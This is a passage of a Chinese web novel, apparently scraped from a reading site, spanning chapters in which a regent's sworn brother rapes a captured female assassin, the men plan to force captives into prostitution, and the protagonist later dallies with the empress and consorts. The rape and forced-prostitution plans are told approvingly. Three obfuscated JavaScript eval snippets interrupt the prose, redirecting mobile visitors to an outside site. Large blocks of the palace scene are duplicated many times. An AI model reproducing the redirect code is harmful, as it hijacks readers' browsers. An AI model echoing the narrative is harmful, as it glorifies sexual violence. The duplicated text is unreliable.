“说!为什么刺杀我大哥?否则胖爷今天就让你爽到极点!” 静澜仙子大口喘着粗气,汗水浸湿了鬓发,贴在脸颊两侧,却仍是咬着牙,没有丝毫求饶的意思。 “敬酒不吃吃罚酒!”胖子几乎是从牙缝中挤出这句话。 他再次弯腰,单手揪住静澜仙子的头发,像拖一条破麻袋般,穿过校场,直奔营房。 士兵们自动让出一条路,他们望着胖子那宽厚的背影,又瞧瞧地上那被拖出的一道血迹,愤恨不已。 有的士兵眼中满是对静澜仙子的愤恨,握刀的手青筋凸起,恨不得此刻就冲上前将她千刀万剐;有的士兵则面露凶光,嘴里不停咒骂着。 “胖子!”林臻叫住了胖子。 胖子停住脚步,头也没回,声音冷冷的传来:“大哥,我知道你心善,但是你得让我把这口气出了!” “我知道。”林臻走过来,看了看胖子的伤口,表情出奇的狠辣,“我是要你要替我好好伺候她,千万别弄死了,后面几万弟兄还等着排队呢。” 胖子嘴角向上勾起,露出一丝狰狞的笑容,随即一路疾行,将静澜仙子带到一间营帐内。 营帐里灯火昏暗摇曳,豆大的火苗在灯芯上挣扎跳跃,映照着四周的帷幔 ,影影绰绰,仿若无数鬼魅在张牙舞爪。 胖子将她狠狠甩到地上,脱掉外袍,随手扯过一把椅子,“哐当”一声坐下。 “说,有没有暗桩?” 暗桩是黑话,就是同伙、同党的意思。 静澜仙子肯定能听明白,但是她此刻蜷缩在地上,一只手捂着受伤的肋骨,面色惨白如纸,汗如雨下,最后冷冷一笑。 这笑在昏暗灯光下显得格外诡异。 她轻启干裂的嘴唇,吐出一口带血的唾沫,骂道:“呸,狗官!” “小娘们有点意思,上次就是你绑架的我大哥吧?好啊,今天胖爷也尝尝鲜。” 胖子走到营帐一角,拿起一根粗绳,再次折返。 静澜仙子这才有了几分惊恐:“你,你要干什么!?” “你胖爷我在什么地方都试过,就是还没在军营里试过,更没试过女杀手,哈哈哈哈,所以说,今天胖爷得好好玩玩你!” 说着,他粗暴地将女刺客双手反绑,绳子深深勒进她的手腕。 静澜仙子奋力挣扎:“混蛋!放开我!” 按理说静澜仙子的武艺是不在胖子之下的,但此刻她失血过多,又被重伤,根本没办法反抗。 胖子捆完以后先是在静澜仙子身上摸索起来。 “别动!胖爷得检查检查你带没带凶器!”说归说,胖子的大手抓住静澜仙子的两只脚踝,微微一捏,静澜仙子顿时大叫:“混账!畜生!不许碰我!” “胖爷是在给你做必要的检查!嘿嘿嘿。” 胖子不像芦德豪似的喜欢脚丫子,于是直接顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991895|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脚踝徐徐向上。 静澜仙子从小到大什么时候被男人摸过?一时间又羞又急,想反抗,可是胖子的大手就像钳子似的,让她动弹不得。 小腿到大腿,大腿到蛮腰,最后直接登上山巅,覆盖峰峦。 胖子把静澜仙子能藏凶器的地方都仔仔细细检查了一遍,然后十分客气地说道:“行,挺干净,那没什么问题胖爷就进入正题了啊?” “你!” 静澜仙子脸蛋绯红,也不知道是气的还是羞的。却见胖子三百多斤的身体直接压在静澜仙子身上。 “你起来!起来!混蛋!!” 可能每个女孩子都有个白马王子的梦,但不管静澜仙子如何梦,都不会梦到自己有一天会被一只大肥猪压在身下,甚至还要受他的羞辱与欺负。 她觉得恶心、想吐。但看见胖子的大黄牙与长满白绿色舌苔的舌头,说什么也不肯张嘴,任由胖子在她脖颈深处瞎舔。 最后,胖子把她翻过来,让他正面朝地,再次压上去。 很快,静澜仙子闷哼一声,眉头紧锁,带着痛呼与喊叫,正题开始了。 三分钟后,营帐外传来轻轻的脚步声,随后是侯春压低的声音:“胖爷,你咋样了?世子放心不下,让我来看看。” 胖子一手揪着裤子走到营帐门口,掀起一角帷幔。 “我没事,这臭娘们嘴硬得很,死活不肯招。” 侯春皱了皱眉,盯着胖子的动作发愣。 胖子顿时有些不悦,怒声道:“怎么滴?想尝尝你胖爷我的刷锅水?” “不不不,小的不感兴趣,只是您未免也太快了吧” “嗐!”胖子一摆手,“这不是失血过多,发挥不佳嘛。” 侯春翻个白眼,心说:你这死胖子净寄吧找借口。 “世子有令,说胖爷审讯完之后再让其他兄弟们审审,您若没事,可以跟小的回去继续喝酒了。” “胖爷听说京城那边还关着好几个女杀手呢,回头都弄成军妓,哪打仗就送到哪里去。奶奶的,敢刺杀我大哥,反了她们了!” 第287章 快和朕进屋 林臻心情很不爽利,一杯一杯地喝闷酒。 因为刚刚发生了刺杀事件,现在侯春以及几名护卫都死死围着林臻,眼睛瞪得像铃铛,生怕再出什么变故。 其实林臻也很郁闷。 自己又不是漂亮国总统,咋就这么遭人恨呢? 天道地道的,老子早晚把你们都送进修罗道。 但是很可惜,面对这样的民间组织林臻暂时还没有好办法去处理。既不知道他们的具体位置,又不知道都有哪些人,想派青竹去当卧底,一直到现在几个月过去也没个消息。 这妮子该不会跑了吧? 胖子回来了,身上的血迹已经干涸,大马金刀的坐在桌子边,拿起酒壶就往喉咙里灌。 林臻一边把嘴里塞花生米,一边嘲笑:“不就是早泄嘛,不至于的,别上火。回头我找孙神仙给你开副方子。” “噗!”胖子一口酒喷在地上,然后擦了擦嘴:“大哥,我喝酒可不是因为早泄!” “那因为什么?因为那帮人刺杀我?” “你以为呢?好心当成驴肝肺,早知道就让你刺死算了!” 胖子没好气地翻个白眼。 林臻笑了笑也不在意,喝了口酒,说道:“你还真把那女刺客给办了?” “废话,不办她还留着她?唉,就是可惜德豪不在,否则那娘们有罪受喽。” “什么意思?她脚好看?” “可不!那小脚丫白白净净的,正对德豪的口味!” “呵呵呵呵。”林臻笑道,“该说不说,这次纨绔死了多少人?还剩几个人?” “死了十八个,重伤六个,还剩二十多个吧。” “德豪有没有事儿?” “德豪?”胖子拿起酒壶一愣,然后另只手抓了抓后脑勺:“他也没来啊。” 林臻顿时蹙起眉头,恼怒中带着几分惊讶:“你没带他来?” “没有啊,德豪是咱自己人,就不用搞清除这一套了吧!” “你懂个屁!这种事情一个都不能缺,否则不就是告诉天下人我林臻在排除异己吗?” “缺一个不碍事吧.”胖子又拿出那副滚刀肉的态度,林臻气得牙根直痒痒。 要不是看在他今天舍命救自己的份儿上,一百军棍肯定跑不了! “王胖子。”林臻咬牙,“以后你如果再敢对我的命令打折扣,你看我怎么整你!” 胖子当然不敢吭声,自顾自的喝了口酒,然后突然想起什么,眉飞色舞地说道:“诶?大哥 ,要我说京城里的那几个女杀手留着也是浪费粮食,不如我们开个另类的青楼怎么样?” 林臻冷笑。 侯春回来的时候可是把什么都说了。 “呵,不搞军妓那一套了?” “不搞了不搞了,搞不通。我们不如直接让那几个女杀手去接客,首单一千两!以后二百两吃一次快餐,这钱还不哗哗地来?” “一千两的初夜,呵,你当她们是什么?金子做的也不值这个价。” “我们主打高端定位嘛,这些都是杀手,而且一个赛一个漂亮,身材也是极品,就刚刚那个叫静澜地,两座大山高耸的,连胖爷的大手都覆盖不住!这样的绝色,就不是给那些破落户享用的。” 胖子的话还真有几分道理,但林臻琢磨来琢磨去还是觉得不妥。 “问题是她们都会武功,伤了客人怎么办?” “捆好了吊起来啊!这事胖爷最有经验,回头你就把青楼交给我管理,我保证一个月内让她们爽遍四九城!” “再说吧,收拾收拾,明天启程回京。” 林臻又喝了口酒。 张俪正在打造的娱乐城确实需要一些百姓没玩过的项目,胖子的建议其实还算不错。 这次回京可是有很多很多的事情要办,他要梳理下思路,开始着手。 庆功宴结束。 翌日,晨光熹微。 三大营的将士们军容整肃,旗帜在沙场中猎猎作响,昭示着他们凯旋的豪迈。 林臻一袭银白战甲,身姿挺拔如松,胯下骏马神骏非凡,眼神冷峻却难掩意气风发。 “启程!” 随着一声令下,大军浩浩荡荡,向着京城进发。 城外二十里,大乾文武群臣早已恭候多时。 文官身着朝服,庄重肃穆;武官盔甲鲜亮,威风凛凛。 众人望着道路尽头翘首以盼,待望见那行军队伍掀起的滚滚烟尘,便知是林臻大军归来。 一时间,鼓乐齐鸣,奏响凯旋之音。 林臻策马前行,至群臣面前,勒缰下马,拱手行礼,谦逊之态尽显。 群臣纷纷还礼,口中赞誉有加,眼神中满是对这位少年英雄的钦佩。 踏入京城,街道两旁早已围满了百姓,人潮涌动,摩肩接踵,欢呼声如汹涌的浪潮,一波接着一波。 “世子万岁!” “恭迎世子凯旋!” 老人们热泪盈眶,拉着孙儿指着林臻讲述他的英勇事迹;孩童们骑在父亲肩头, 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991896|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 挥舞着手中自制的小旗,小脸涨得通红,兴奋不已;姑娘们羞涩地将手中精心准备的鲜花香囊抛向林臻,目光中满是倾慕。 林臻面带微笑,不时抬手向百姓示意,所到之处,人群更是欢呼雀跃,声震云霄,那场面好生热闹,不在话下。 皇宫议政殿内,檀香袅袅,静谧中透着几分庄重。 女帝慕容嫣端坐在龙椅之上,龙袍加身,仪态万千,只是那眼神却愣愣地注视前方,仿佛在等什么人归来那般。 林臻穿着铠甲进殿,在见到慕容嫣的瞬间温情流动。 “臣林臻,参见陛下。” 慕容嫣那双美眸终于有了光泽,起身走下台阶,走到林臻身边轻轻拉住他的衣袖。 “快和朕来。” 慕容无舌又当起了雕像,装作什么都没看到的样子,直等林臻和慕容嫣走向后殿,他才对两个小太监挥挥手。 小太监立刻会意,关上殿门,在外等候。 林臻被慕容嫣拉到后殿,还以为会先来个拥抱,却不曾想慕容嫣拽着林臻上上下下的打量,最后把他的护臂拆下来,再将袖子挽上去。 那道恐怖的红色疤痕好像蜈蚣,赫然刻在那里。 “除了这里,再没受伤吧?” 林臻十分温柔地用指尖划过她的脸颊。 “没有,这次非常顺利。” “五千胜十万!此乃千古流芳的胜迹,真不愧是朕的男人!”言罢慕容嫣踮起脚直接搂住林臻的脖子,把头枕在他的肩膀上。 香体入怀,林臻顿时有些心猿意马。 第288章 你发话,朕哪里敢说不啊? 林臻坏笑着一双大手向下滑去直接掐住慕容嫣娇滴滴的翘臀。 却见慕容嫣一惊赶紧放开林臻:“别闹!朕.这几天不方便。” “啊?” 林臻顿时露出苦涩的表情。 虽然在代县的时候也和浣碧有过几次但小妮子体质弱不禁折腾而且又是战时林臻总心不在焉的无法尽兴。 回程的时候他便想着要好好与慕容嫣恩爱一番却没想到她居然不方便! 看来这一腔热血只有发泄在司马椿蕾和顾缜身上了。 慕容嫣好像与林臻心有灵犀似的瞬间看出他的想法随即竟露出一丝讨好的表情牵着他的手说道:“好啦好啦等过几天朕好好的补偿你!!” “真的?” “真的!”慕容嫣踮起脚在林臻唇边轻轻一吻饱含深情随即笑着说道:“走陪朕去后花园看看!” 因为后花园得到了修缮此番与之前大不一样 虽然是秋天但是园中繁花似锦香气四溢娇艳欲滴的牡丹傲立枝头花瓣层层叠叠红得似火粉得如霞散发着雍容华贵的气息; 慕容嫣于石桌边坐下林臻坐在她身边。 “麝月两位爱妃还没来吗?” 慕容无舌毕竟算男性外观所以很自觉地在周边做安保工作。 麝月这个突然就上位的小丫头便一直站在慕容嫣身后。 “回陛下奴婢已经派人去请了但是贵妃娘娘说要稍作打扮很快就到宁妃在贵妃娘娘那里。” “嗯。”慕容嫣点点头看向林臻当着一众宫女的面握住林臻的大手“夫君顾云松造反一案按律是要诛九族的还有他那些部将、士兵朕觉得都应该受到惩罚才行具体你怎么看?” 林臻回答道:“傻瓜人口是我们国家最大的红利绝不能随意杀戮。顾云松造反不假 “好听夫君的。”慕容嫣亲自扬起玉手给林臻倒茶“那有功的将士该怎么赏呢?尤其是胖子听说这次五千破十万的盛举他功不可没。” “他?呵他就别赏了。” “为什么?你们不是最要好的兄弟吗?” “是兄弟不假但是胖子的性格也就打架可以实则难当大任这次五千破十万说是壮举实则是意外。若不是他不听 指挥,带着将士在军营里横冲直撞,也不至于死伤那么多弟兄。” “但也没有后来的大胜了吧?” “没错,所以说这次是因祸得福,但这样的巧合不会常有,所以对胖子的赏赐我已经想好了。从我的小金库里拿出千两黄金给他。” 慕容嫣稍微一愣,随即想到什么,莞尔一笑:“呵呵呵,胖子的性格确实如此,赏黄金要比赏官职要来得更妥帖。” 林臻品了一口茶,说道:“嫣儿,等战争结束,我决定要在全国范围内大面积修路。” “修路?为什么?现在的路不能用吗?” “可以用,但路况实在是太差了。很多地方都是泥路,一下雨就会泥泞不堪,导致交通不便,所以我打算让工部招募壮丁,从京城开始,往东西南北数个方向开始修路,最少也要先保证每座城池都有一条可用的,平坦的大路通往京城。” 慕容嫣不禁吐了吐那粉红的小舌头:“那应该要用很多钱吧?” “嫣儿,钱这种东西就是用来花的,如果不花,放在那里就是一堆破铜烂铁而已。再说,这次我不打算全部出资,而是利用商贾,乡绅。” “夫君呀,那些人除非把刀架脖子上威胁,否则是不会乖乖交钱的。” “没有利益他们当然不会掏钱,但如果说,我们修的这条路要收费呢?” “啊!?”慕容嫣险些惊掉下巴,“路还要收费?你就不怕百姓造反呀?” “哈哈哈哈。”林臻宠溺地刮了刮她的小鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996137|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“当然不会,我们可以把路分成段,按段收钱,比方说代县到京城有二百六十里路,那么这段路谁掏钱修建,谁就可以在这段路上收过路费。当然,永远收下去可不行,为期三年!如果有多人投钱,那就按一定比例分红。就像英雄赌场每个月也给你分红一样。” 慕容嫣翻个白眼:“切,还好意思说呢,你那赌场每个月光流水就有几十万两,你偏偏分给朕一万两!” 谈起以前的事情,慕容嫣恍然觉得自己置身梦中。 几个月前,她与林臻可以说是不折不扣的敌人,后来在经过很多事情后,两人竟碰撞出火花,以至于现在已经是不可对外公开的情侣身份。 这转变得说突然也突然,说不突然也不突然,仿佛一切都是计划好的那般。 林臻摸了摸鼻子,心说当初对慕容嫣确实抠门了些。 但男人嘛,绝不能把钱放在女人手里。 因为你根本不知道她会把钱花在哪些没用的事情上。 “如果没问题,我可就让工部发文了。” “你发话,朕哪里敢说不啊?”慕容嫣说完又给林臻倒茶。 “还有一事。京城有两条河流经过,我打算拓宽河道,建成运河,这样就可以方便水运,极大地刺激经济。等王爷那边打完仗回来,就沿着这条运河一直往南边修,连接各个地方。” “好好好,夫君想干什么就干什么,反正朕现在是把江山交给你了,但是有一点!你不许问朕要钱!户部现在亏空的紧呢。” “我当然不会用国家的钱了。” 林臻有这个自信。 现在的商贾还停留在你买我卖的阶段,想要招标诱骗他们入股简直不要太简单。 而且林臻的计划可不是后世那样,谁中标就直接拿钱,而是先让他们占三年便宜,随后便收回国有,等时机成熟,林臻就要开始实施计划经济了。 第289章 必须要把夫君伺候得舒舒服服的 虽然计划经济会在一定程度上影响发展,但是在古代,在很多人都没办法吃饱饭的情况下,没有比这更能提高百姓幸福感的政策了。 它会让所有人都有饭吃,有衣穿。虽然不会很富裕,但至少不会让百姓出现饥饿之忧,冻饿之苦。况且大家的生活水平是一样的。 这就好比,我家天天吃窝窝头,而亲戚家或者邻居家却天天大鱼大肉。即便饿不死,我也会羡慕,也会嫉妒,甚至会诟骂他们。 人都是不患寡而患不均的,如果人人平等,即便吃得差些,穿得旧些,也可以让幸福度大大提升,如果不信,就看看我们的小邻居。 他们那边的百姓或许不能顿顿有肉,也不能天天喝酒,但是人家活得依旧很快乐呀。 就是因为没有对比。 况且,贫穷只是暂时的,等国力恢复,经济向好的时候,林臻也会想办法继续提高百姓待遇。 在计划经济之前,还要打地主。 这玩意必须打,虽然林臻就是整个国家最大的地主。 这群毒瘤必定得清理出去,否则不干活的地主吃得肥粗老胖,干活的百姓反而饿的像孙悟空。久而久之,肯定会有人造反。 至于官员嘛.富的只能是林臻,其他人一概不许。 这时有宫女开始传菜了,林臻收回思绪,看向桌上的珍馐佳肴。 精致的糕点散发着诱人的甜香,新鲜的果蔬色泽诱人。 慕容嫣笑语盈盈,亲自夹了一块林臻最爱的糕点递给他:“夫君快尝尝,这是御膳房新做的,就盼着你回来呢。” 林臻直接张嘴叼住,咬了一口。 “贵妃和宁妃娘娘来了。”麝月高声喊道,随即林臻便看到司马椿蕾和顾缜走了过来。 该说不说,司马椿蕾今天穿得好生浮夸。 裙袍上用金丝绣线勾勒出的凤凰栩栩如生,好像要腾飞而出似的。 她眼眸含笑,波光流转间尽显风情,走路时抬手轻轻拂去肩头飘落的花瓣,动作优雅至极。 顾缜身着一袭水蓝色宫装,如湖水般澄澈的裙摆随风轻摇,腰间系着的月白色丝带,恰到好处地勾勒出她纤细的腰肢。 她性情淡雅,走路时目不斜视,待来到近前,两女一同对林臻行礼。 “见过夫君,陛下。” 林臻的称呼居然在慕容嫣前面。 但是慕容嫣显然不以为意,甚至还觉得如此正好。 “怎么才来呀?快坐。”林臻招呼两女坐下。 此时的 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 